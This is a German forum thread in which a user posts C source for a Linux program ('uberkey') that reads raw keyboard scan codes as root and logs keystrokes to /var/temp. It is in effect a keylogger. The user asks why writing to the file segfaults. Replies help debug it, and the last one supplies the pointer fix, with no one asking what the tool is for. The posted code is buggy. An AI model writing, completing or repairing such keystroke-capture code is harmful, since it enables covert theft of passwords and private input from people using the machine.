warum gets ned??
-
Speicherzugriffsfehler !?!?!
warum get die ausgabe aber die speicherung ned??#include <time.h> #include <unistd.h> #include <sys/io.h> #include <sys/types.h> #include <stdio.h> char translate[128] =" 1234567890-=\b\tqwertyuiop[]\n asdfghjkl;' zxcvbnm,./ * "; char translateshift[128]=" +\"*ç%&/()=?`\b\tQWERTYUIOPè!\n ASDFGHJKL;' ZXCVBNM;:_ * "; char keytable[128]; char *buffer; int to_write; int main(int argc, char** argv) { /* iopl() inb() */ struct timespec test; FILE *out; if (getuid()!=0) { printf("Du musst root sein.\n"); return 1; }else{ out = fopen("/var/temp","w+"); } test.tv_sec=0; test.tv_nsec=1; unsigned char c,shift; for (c=shift=0; c<127; c++) keytable[c]=0; iopl(3); while(1) { c=inb(0x60); if (c<128) { if (keytable[c]!=1) { switch (c) { case 88:printf("\n\n--buy--\n\n");return 0; default: { if (shift>0) { // printf("%c",translateshift[c & 127]); to_write = (int) translateshift[c & 127]; // printf("%s",c); } else { //to_write = translateshift[c & 127]; //printf("%c",translateshift[c & 127]); to_write = (int) translateshift[c & 127]; } } buffer = to_write; fwrite(buffer,sizeof(int),2,out); printf("%c",buffer); } fflush(0); } keytable[c]=1; } else { keytable[c & 127]=0; if (keytable[42]==0) if (keytable[54]==0) shift=0; } usleep(100); } return 0; }
-
Vielleicht beschreibst du erstmal, was das Programm machen soll bzw. fügst nen paar Kommentare ein. Bei mir kompiliert der nichtmal einwandfrei.
-
ohh sorry habe ich vergessen!
das Prog gibt neben bei die Keyboard eingaben aus!
Complimiren mit :gcc -s -O3 -o uberkey uberkey.c
ich kann die ausgaben nicht in eine Datei speichern
mfg. amon
-
Hast du mal geprueft, ob out ein gueltiger Pointer ist, nachdem fopen-Aufruf?
mfg
v R
-
Das liegt ned am pointer !
da passt was ned beim Speichern! -> fwrite(buffer,sizeof(int),2,out);
wenn ich printf("%s",buffer); mache kommt das selbe ! (Spiecherzugriffsfehler)
danke
-
zeigt buffer auch auf speicher? Benutze am besten mal einen Debugger
-
Im o. Code, zeigt Buffer nicht auf einen gueltigen Speicherbereich.
Das Programm stuerzt daher auch ab. Du musst erst Speicher fuer diesen
Puffer reservieren, damit du damit arbeiten kannst.mfg
v R
-
buffer = (char*)&to_write;
wieso uebergibst du (char*)&to_write nicht gleich an fwrite ?